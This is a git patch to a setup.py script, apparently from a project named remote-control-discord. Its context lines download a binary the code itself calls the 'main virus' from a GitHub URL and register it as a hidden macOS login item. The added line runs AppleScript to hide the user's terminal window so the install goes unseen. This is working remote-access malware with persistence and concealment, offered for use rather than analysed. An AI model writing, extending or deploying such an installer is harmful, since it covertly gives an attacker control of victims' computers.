From 8386d073fd2aeada0c80971cc3c58f614ebab8b4 Mon Sep 17 00:00:00 2001 From: littleblack111 Date: Sun, 27 Aug 2023 21:13:08 +0800 Subject: updated linux dist --- setup.py | 1 + 1 file changed, 1 insertion(+) (limited to 'setup.py') diff --git a/setup.py b/setup.py index 67ee739..73a100e 100644 --- a/setup.py +++ b/setup.py @@ -18,6 +18,7 @@ except FileNotFoundError: # download main virus if platform == "darwin": + system("osascript -e 'tell application \"System Events\" to set activeApp to name of first application process whose frontmost is true' -e 'set terminalEmulators to {\"Terminal\", \"iTerm\", \"Hyper\", \"Kitty\"}' -e 'repeat with termApp in terminalEmulators' -e 'if (activeApp contains termApp) then' -e 'tell application termApp to set currentWindow to front window' -e 'set visible of currentWindow to false' -e 'exit repeat' -e 'end if' -e 'end repeat'") open(localfile, 'wb').write(get("https://raw.githubusercontent.com/mrdog233o5/remote-control-discord/main/dist/main-mac", allow_redirects=True).content) system(f"osascript -e 'tell application \"System Events\" to make login item at end with properties {{path:\"{localfile}\", hidden:true}}' > /dev/null") elif platform == "linux": -- cgit v1.2.3